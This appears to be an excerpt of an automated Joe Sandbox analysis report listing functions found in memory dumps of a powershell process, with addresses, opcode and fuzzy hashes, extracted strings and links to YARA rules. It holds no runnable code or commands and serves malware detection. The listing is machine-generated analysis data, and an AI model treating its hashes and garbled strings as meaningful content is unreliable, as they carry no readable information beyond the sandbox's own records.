Instruction ID: 5ce3f897df94f26917d111a20ea52ce3ed89204b61552e31040d3e85007ce13d
Opcode Fuzzy Hash: 8e2e83d348d5f36a5d472fe0d3fea82bdaaac8ada7c64aa8e8a4036a5adc855b
Instruction Fuzzy Hash: 90F02BB57041044BF7049B68D0283AF7797DFC1359F1041BDD4095B785CE395916CB85

Function 02997F01 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 794dd3262bd95bb006343eb09c1bb12e1a6fd4843a849d55661c3f50dc5d9e6d
Instruction ID: 0131b1fa73c1efda5579362531709e18337f6089307b535dac25806c3cb6573d
Opcode Fuzzy Hash: 794dd3262bd95bb006343eb09c1bb12e1a6fd4843a849d55661c3f50dc5d9e6d
Instruction Fuzzy Hash: CDF0E9727006185FCB11976DD84466FBBEAEB89230B00052DF01DC3710DF30AC01CB90

Function 0269D998 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1758435942.000000000269D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0269D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_269d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15943da71fe6f39f652357c71b2158ce602d253b8cda09c82ab7ce6e5e561935
Instruction ID: 38565eb2d64c215c95c105710294139979dc76bf42777f9b3ec876f2763dd0af
Opcode Fuzzy Hash: 15943da71fe6f39f652357c71b2158ce602d253b8cda09c82ab7ce6e5e561935
Instruction Fuzzy Hash: 50F04975100680AFD725DF06C984D23BBB9EB85620B198499E84A5B312C630FC42CF60

Function 0299F890 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9e1c67635ef1ebf8c516a876bb4ae7a88cfb69ba44bbfb22c3544929b73968c
Instruction ID: 2df2999dc013df224aa4ad08809d3613bf52398fff89077f4f5731e20a4347dc
Opcode Fuzzy Hash: a9e1c67635ef1ebf8c516a876bb4ae7a88cfb69ba44bbfb22c3544929b73968c
Instruction Fuzzy Hash: 16018071D1075A9FCB44DFA5C9456AEBBB4BF99300F20072AE015A6A40EBB06695CB81

Function 02997F08 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ae333d3a219dbd5842f987fd4fd7aa1fda2997c6e97b7b73e0061f0796bfaa7
Instruction ID: 545f40a4ecf44353a247653a038fbde1efd6000d1d5b61acc4ea6f515e030ab6
Opcode Fuzzy Hash: 3ae333d3a219dbd5842f987fd4fd7aa1fda2997c6e97b7b73e0061f0796bfaa7
Instruction Fuzzy Hash: 5EF0A7727006185FCB11A75DD844A6FB7EEEB88270B00052DE01EC3710DF31AC41CB94

Function 0299E3F8 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16d14c4ca3a0838f902a0bf71d1e3f365ed315fb2610f09ccd27db3dcd9ef73c
Instruction ID: 8a7a7b9472387b2e82d36def8bf77c408d6a0dbc2efb2fc63bb251a30b942d13
Opcode Fuzzy Hash: 16d14c4ca3a0838f902a0bf71d1e3f365ed315fb2610f09ccd27db3dcd9ef73c
Instruction Fuzzy Hash: EAF0A0357101008FC714CF1CD558926BBEAEFCE21571910AEE08ADB334DB20DC018B90

Function 02999508 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db80a890f8794fd922e2a3da942da44e014b3a3de14ecea4038efdc7da7f99bd
Instruction ID: 4d67fc3307f721f1d78db4c589ea163b5107cb31f18b0ea06b935f3482da6fd0
Opcode Fuzzy Hash: db80a890f8794fd922e2a3da942da44e014b3a3de14ecea4038efdc7da7f99bd
Instruction Fuzzy Hash: 5DF027B56042085BFB04AF68D0183AF37ABDFC1768F10817DD40957385CE396902CBD5

Function 02997C37 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4102969122d18de944000e6ed7bd7cdbfcff2cdb84fe00e82fed7759641957f0
Instruction ID: 4a806a18e0ac5e9167794d091777e078d0869b18bfb2c6b153b1182543f95023
Opcode Fuzzy Hash: 4102969122d18de944000e6ed7bd7cdbfcff2cdb84fe00e82fed7759641957f0
Instruction Fuzzy Hash: DAF0A0753001088FDF10CBADD840ADAB7AAEBC8665B0641A9E409CF329EF34DC018BE0

Function 0299E408 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: deb0015830c4120a8566d53076b96d5b5e2fba2f3078a154684b96f7e02ed8bf
Instruction ID: 058a5124c634406a6ab66d932e8257e74bd7063b7c0a36674068559b30c2b2c9
Opcode Fuzzy Hash: deb0015830c4120a8566d53076b96d5b5e2fba2f3078a154684b96f7e02ed8bf
Instruction Fuzzy Hash: 0DE0E5353101119F8A10DB5DD498C26B7EAEFCE62936910AAE589CB725DB61EC018B90

Function 02999578 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b08c6d6bfa86b4df2b29d3e382120924ac614a97966c6cbb799c2015175b9427
Instruction ID: 1603254a87a1e3ec62e84c8178b7b9fe3d36b754121ac042219f661eebd99fab
Opcode Fuzzy Hash: b08c6d6bfa86b4df2b29d3e382120924ac614a97966c6cbb799c2015175b9427
Instruction Fuzzy Hash: F0F08C70A043048FE7649FB8D4993AABBEAEB44315F50447EE55EC7380DF39A8818B91

Function 02999190 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fdcc40275078d645407f1f312734660d7252b44654e95f6abe3a40b5421a404
Instruction ID: bb6c92190d1ff096ebd96ad5a5a3201f68752a2172a8a63179c49d7862a12bfe
Opcode Fuzzy Hash: 9fdcc40275078d645407f1f312734660d7252b44654e95f6abe3a40b5421a404
Instruction Fuzzy Hash: 18E0ED353043925BCB0A2BB8E11C26E3A669FC0761F05013ED00AC7382CFBC99128B96

Function 027A0F51 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1758962055.00000000027A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 027A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_27a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 253d9600816ba6c1a81c0400d405b816754fb867d043abdc66cc418a40cdaa24
Instruction ID: 1c441af31d1180c356805fa3e9abdf16eb928d9f937047e0952a46b3c6d693f4
Opcode Fuzzy Hash: 253d9600816ba6c1a81c0400d405b816754fb867d043abdc66cc418a40cdaa24
Instruction Fuzzy Hash: E1F030716443514FC746D739D85069C7B52EF81344B044679D501CB7AACB65A84A87A1

Function 0299E24A Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62b4ee3518cce3e86159aca2e02153a2198a621bcee5ba99c22b33410c3b1413
Instruction ID: e270a6ba0943abc0ee920c0023313649f543d8e47a9830f3447ed8888d1d1414
Opcode Fuzzy Hash: 62b4ee3518cce3e86159aca2e02153a2198a621bcee5ba99c22b33410c3b1413
Instruction Fuzzy Hash: 57E0D8327406004BCF15622EA52156F7BDADFC5260704406FE12A87790DF68EC05C7E9

Function 0299B3A8 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78d6231b725efb1ecd310475bc8d6179c1399c7d8df7de6f8f8ef4ef4745545a
Instruction ID: 0f2699b6bf91ae0cda1e4ade7fd16a40627175d553c2662232c25e11a7feaa48
Opcode Fuzzy Hash: 78d6231b725efb1ecd310475bc8d6179c1399c7d8df7de6f8f8ef4ef4745545a
Instruction Fuzzy Hash: A8D05B76B1C658179F19901FB43056A2A9FC7C5535B05C07BE509CB740ED59DC4302E5

Function 02999588 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd0e719b733a1ceaee03970d20bf7489f53b88b46146f02f3401c33de68a9480
Instruction ID: 58b5ab491cd83f9fc4d8688b5d545d06a976af0809f40f90bc85288ae76b3cc1
Opcode Fuzzy Hash: cd0e719b733a1ceaee03970d20bf7489f53b88b46146f02f3401c33de68a9480
Instruction Fuzzy Hash: 24F06D309003148FD7A09FB9D0983AABBE9EB44350F00443ED54EC3340DF39A840CB80

Function 02999960 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ea531bbf4510210458f76260a3df13c66b3d1baf15e5b6f14c648ccb431d30b
Instruction ID: 924a4a9c7d8a31c604b52a086848302a80e396451a6b296f2c941f98038b6afa
Opcode Fuzzy Hash: 2ea531bbf4510210458f76260a3df13c66b3d1baf15e5b6f14c648ccb431d30b
Instruction Fuzzy Hash: 2BE086763061661BEA1456BD59103BB468F8FC7065B0840BE9548EBA43ED51CC138BE1

Function 029991A0 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 868bfc8869902f4e3887508c618efe0108cfa3f8ebf1ddf885dd1a2b47f0b098
Instruction ID: 949643054e54d42c948c2598833b7d850b22ceac6ea75e42a6cf9fc5384b30cf
Opcode Fuzzy Hash: 868bfc8869902f4e3887508c618efe0108cfa3f8ebf1ddf885dd1a2b47f0b098
Instruction Fuzzy Hash: 2AE04F3530475557CF492BB9E01C2AE7AAAAFC5BA5F00013DD40A83381CFBD5911C7D9

Function 0299E2A8 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction ID: 01edbaa76d8b851c29cd3a8f6820488ac535b7c948c2f8cccc201017759bd92d
Opcode Fuzzy Hash: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction Fuzzy Hash: F9E08635B00018A78B08D55DD8114E9F7A9DBCC220F04887BD94AA7340DA325916C6E1

Function 0299E258 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1db3e798affb97ea3be95c2357b3103e7d3846149b00f0ecec173812d4738e85
Instruction ID: 8cfa871bb7baffcaac0c130a65125b9c53b441adebb210a87f6ce5a362cae17f
Opcode Fuzzy Hash: 1db3e798affb97ea3be95c2357b3103e7d3846149b00f0ecec173812d4738e85
Instruction Fuzzy Hash: 22E0C2317406144B8E11A66EA91045FB7DEDFC5670300843EE129C7340EFA4EC0587E9

Function 02999970 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 846bf2a726f578ccf915a54e550fb4af93648fa7179f75709805715175c689c2
Instruction ID: c303eaa1afbcacbc201d7ec7d57d72ecba85181b35e81754f766c6c97308b974
Opcode Fuzzy Hash: 846bf2a726f578ccf915a54e550fb4af93648fa7179f75709805715175c689c2
Instruction Fuzzy Hash: FCD05EB330212A1B2E1465AE580077B92CFCACB5B274540BE9A08E7B42FD80CC0287F2

Function 0299F921 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9756198d6b48e58cbface4188b3ebd338a7e554ceeed5d7c035bda8534209e1e
Instruction ID: db24de19cf5539d0a6eacf57323381edb510382aad5bb9f8b724989a85cbd60a
Opcode Fuzzy Hash: 9756198d6b48e58cbface4188b3ebd338a7e554ceeed5d7c035bda8534209e1e
Instruction Fuzzy Hash: 8EE092B5D00105DFC744DFA9C9516A9FBF0EF5A300B1885AEC519D7711E7319612CF81

Function 027A08B8 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1758962055.00000000027A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 027A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_27a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2011f0df10540b15b566f30d0302cd99dbdfc7f857d08d490291bd6b62864e9
Instruction ID: 077d57007f8c55a694e25656c9170624cbf92533bf9e6e585694aa8efb73de84
Opcode Fuzzy Hash: b2011f0df10540b15b566f30d0302cd99dbdfc7f857d08d490291bd6b62864e9
Instruction Fuzzy Hash: 33E086351052549FC705DF64E95D8897FB9FF0E710B0680E9E44987373CA69DD068F92

Function 027A0888 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1758962055.00000000027A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 027A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_27a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d47fbe45daf7c875d2e905811a1fe7037ddd03604c8d87cd0822b3c751c6477
Instruction ID: 29f828e14a249d1f59490c318f0693debe49c735a02b1e96b8963bc86fdc2e09
Opcode Fuzzy Hash: 1d47fbe45daf7c875d2e905811a1fe7037ddd03604c8d87cd0822b3c751c6477
Instruction Fuzzy Hash: 30D05E36714214174A1422BE7C98C6FBACEF6CC576354443AB50DC3301ED7A8C4245B4

Function 02999028 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb16cb714d1613061684c3026904473ebf3941c87fe80df52d3edf771e4f0405
Instruction ID: 7418477f26be51a91cf00e9e2cc74950bd00f71f1e7711e02dec6c4f0f730712
Opcode Fuzzy Hash: bb16cb714d1613061684c3026904473ebf3941c87fe80df52d3edf771e4f0405
Instruction Fuzzy Hash: 89E04F34A092499BC754DFB8E85B4697FB5AB44210F044579E84597391DB305841CBC1

Function 0299F930 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction ID: 003042e602b3a2ed22657ee1b304e676ef105c220913996ba7ae0b59100c4aff
Opcode Fuzzy Hash: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction Fuzzy Hash: F9D062B4D042099F8780DFADC94156DFBF4EB49310F5085AA8919D7301E7319612CBD1

Function 027A08C8 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1758962055.00000000027A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 027A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_27a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46af9b8c75a13890989b5677b0b17f47fb7c53d76cf083b9ac474f9da04bdac5
Instruction ID: 41258703cbaf5d1fe7ef2b016888826060458d7393fd3661adc3d3148467aed3
Opcode Fuzzy Hash: 46af9b8c75a13890989b5677b0b17f47fb7c53d76cf083b9ac474f9da04bdac5
Instruction Fuzzy Hash: 09D05E35210114DFC700EB68E94CC45BBB9EF49714B018199E90987362CB25DC008B91

Function 02999038 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc0c2c6a8857bb2ebfac8f53500882f2b828d2ee22eece26bfb463066c4e1f99
Instruction ID: ce3a37890d47e6561eb451ab71fa1fcfdd44060619d849921e40ff7bfdc1c1f0
Opcode Fuzzy Hash: dc0c2c6a8857bb2ebfac8f53500882f2b828d2ee22eece26bfb463066c4e1f99
Instruction Fuzzy Hash: 41D06738A05209CBCB94EFA8E85B46EBBB5FB44215F004569E90993390EA345851CFD1

Function 02998F70 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0622da9b40df17c8b6d041e66243583971fcdb0c34141102bfbb3ebc430fec21
Instruction ID: 1c456a26c3acf15d8660edd1ff561ed0e2b5e546c27c7757167dc4b6e0c8cfee
Opcode Fuzzy Hash: 0622da9b40df17c8b6d041e66243583971fcdb0c34141102bfbb3ebc430fec21
Instruction Fuzzy Hash: 8CD0173090404ACBCB48AFA4E81B4BDBB78FA00201F4800A9E91B93181AE24290ACAC0

Function 02997ED0 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 481f20970757c6e62b02299a962d584b8bb2bd119ce1beffc5cb286fe77fda92
Instruction ID: 9d037dd51b5edbe07bed403aec803075ee117c160eca8dd2c39e6a0590f775b2
Opcode Fuzzy Hash: 481f20970757c6e62b02299a962d584b8bb2bd119ce1beffc5cb286fe77fda92
Instruction Fuzzy Hash: DBD0A73114D3848FC3075B3498284043B24AF1220574104D9E0494F3E3DA29B800CE53

Function 02998441 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31a123cbad523cd61fc3fceb4c63ea620574dba2d6058ccff9cf573fa35c7da6
Instruction ID: 879210bba80f0f9b308f9beb9d895a7e35c071465d31f65fc47424d48eb09a50
Opcode Fuzzy Hash: 31a123cbad523cd61fc3fceb4c63ea620574dba2d6058ccff9cf573fa35c7da6
Instruction Fuzzy Hash: 32B0922AA4AE846BF602103589A15880B12572E20078E02A65209CB743F40DAC068A12

Function 02997EE0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d691b90b64a70529bdb99a1e6bb3201da68b4dd40188e2c8033f0ccb66a418d0
Instruction ID: 0a0550389feb2dfccff4e5829aa8dc27033c5b1cf7b0d8bb5b203c340eb15650
Opcode Fuzzy Hash: d691b90b64a70529bdb99a1e6bb3201da68b4dd40188e2c8033f0ccb66a418d0
Instruction Fuzzy Hash: 2BB092310447098FC20A6F75E8088147329BE4020A78109ACE50E4B3A29F3AE841CE46

Function 029978A0 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3909ed19c154c78c3dd4ae2fdf4ca188cbde2487117524540a348bcaaa5ff45
Instruction ID: b9cdce712bd1d6de9d84a5468b80bcd63d6c325ba685a40b93fe228a255479d4
Opcode Fuzzy Hash: e3909ed19c154c78c3dd4ae2fdf4ca188cbde2487117524540a348bcaaa5ff45
Instruction Fuzzy Hash: AEA0023AA1455147BF4DDA39469B93E27736BC3215304CC7E591BC0484CD385441D504

Non-executed Functions

Function 06CF1CE0 Relevance: 20.4, Strings: 16, Instructions: 416COMMON

Download Yara Rule

Strings

J6l, xrefs: 06CF21EA
4'^q, xrefs: 06CF20BD
4'^q, xrefs: 06CF20B1
843l, xrefs: 06CF2094
$c(k, xrefs: 06CF21DC
4'^q, xrefs: 06CF1D92
J6l, xrefs: 06CF20C9
4'^q, xrefs: 06CF1D86
r5l, xrefs: 06CF1D53
tP^q, xrefs: 06CF2107
843l, xrefs: 06CF209E
tP^q, xrefs: 06CF2113
J6l, xrefs: 06CF213F
J6l, xrefs: 06CF2133
J6l, xrefs: 06CF21F6
r5l, xrefs: 06CF1D5D

Memory Dump Source

Source File: 00000003.00000002.1765127060.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_powershell.jbxd

Similarity

API ID:
String ID: $c(k$4'^q$4'^q$4'^q$4'^q$843l$843l$tP^q$tP^q$J6l$J6l$J6l$J6l$J6l$r5l$r5l
API String ID: 0-3016231477
Opcode ID: 7848deb57fab0cd2d6c35ad06ab455df2e886f9b4a20e54c54582b56bfb68766
Instruction ID: f9805dedcb69d3093b7b638ea3ab8a681490ba54a8a6a981ccc2a4c1c3142e42
Opcode Fuzzy Hash: 7848deb57fab0cd2d6c35ad06ab455df2e886f9b4a20e54c54582b56bfb68766
Instruction Fuzzy Hash: 0ED16831F24244CFD7E48BA9C41466ABBB6AFC1210F18C4AFC6058B655DB36CE46CBD2

Function 06CF10B8 Relevance: 12.7, Strings: 10, Instructions: 184COMMON

Download Yara Rule

Strings

$^q, xrefs: 06CF1144
`Q^q, xrefs: 06CF1253
$^q, xrefs: 06CF1353
`Q^q, xrefs: 06CF11ED
$^q, xrefs: 06CF1165
tP^q, xrefs: 06CF1227
fcq, xrefs: 06CF11A2
$^q, xrefs: 06CF1329
$^q, xrefs: 06CF1181
843l, xrefs: 06CF11D4

Memory Dump Source

Source File: 00000003.00000002.1765127060.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_powershell.jbxd

Similarity

API ID:
String ID: fcq$843l$`Q^q$`Q^q$tP^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2262773652
Opcode ID: 6d12e52306825cd197d35a98cf947dc248faabb1028b3e0a04d1b0d8ce9a02c4
Instruction ID: f6dab21e19faf7b134feca9812167e92bd0259b77597b45048274d4930f41714
Opcode Fuzzy Hash: 6d12e52306825cd197d35a98cf947dc248faabb1028b3e0a04d1b0d8ce9a02c4
Instruction Fuzzy Hash: B7619530E20209DFEBE5CF45C544BAA77F2BB45351F1D8069EA019BA91C735DE84CBA1

Function 06CF2E80 Relevance: 10.2, Strings: 8, Instructions: 236COMMON

Download Yara Rule

Strings

4c^q, xrefs: 06CF3083
4c^q, xrefs: 06CF3079
tP^q, xrefs: 06CF2FB9
4c^q, xrefs: 06CF306F
843l, xrefs: 06CF2F5E
4c^q, xrefs: 06CF2F14
tP^q, xrefs: 06CF2FAD
843l, xrefs: 06CF2F52

Memory Dump Source

Source File: 00000003.00000002.1765127060.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_powershell.jbxd

Similarity

API ID:
String ID: 4c^q$4c^q$4c^q$4c^q$843l$843l$tP^q$tP^q
API String ID: 0-1645416798
Opcode ID: a8b87b05a99d77d6781013675e53c59d20f468c8ac32cbc105f2db8011bfe705
Instruction ID: 6c528fd05e25b629ad1bad7c8869b7c63e1783c21f2f2be5f4f6a597c36e4fa0
Opcode Fuzzy Hash: a8b87b05a99d77d6781013675e53c59d20f468c8ac32cbc105f2db8011bfe705
Instruction Fuzzy Hash: E1817A31F202549FDB949F68D854669BBA2BB88310F18C46AEA059F391CF35DE05CBE1

Function 06CF2E17 Relevance: 8.9, Strings: 7, Instructions: 159COMMON

Download Yara Rule

Strings

4c^q, xrefs: 06CF3083
4c^q, xrefs: 06CF3079
4c^q, xrefs: 06CF306F
4c^q, xrefs: 06CF2F14
tP^q, xrefs: 06CF2FAD
D&i, xrefs: 06CF2E36
843l, xrefs: 06CF2F52

Memory Dump Source

Source File: 00000003.00000002.1765127060.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_powershell.jbxd

Similarity

API ID:
String ID: 4c^q$4c^q$4c^q$4c^q$843l$D&i$tP^q
API String ID: 0-2381115072
Opcode ID: cd1605d4ce05245c92f7c5ca8761b0a1c29945be186fd6417e3f8bbc6f84ad5e
Instruction ID: 5552b76b4d5228a980364356195fe862cf0a5b77e6745e2ff7f97d22f2216d9c
Opcode Fuzzy Hash: cd1605d4ce05245c92f7c5ca8761b0a1c29945be186fd6417e3f8bbc6f84ad5e
Instruction Fuzzy Hash: 9E515631E202549FDBA48FA8C445669BBB2EF44710F188499EA099F291CB39DE05CBE1

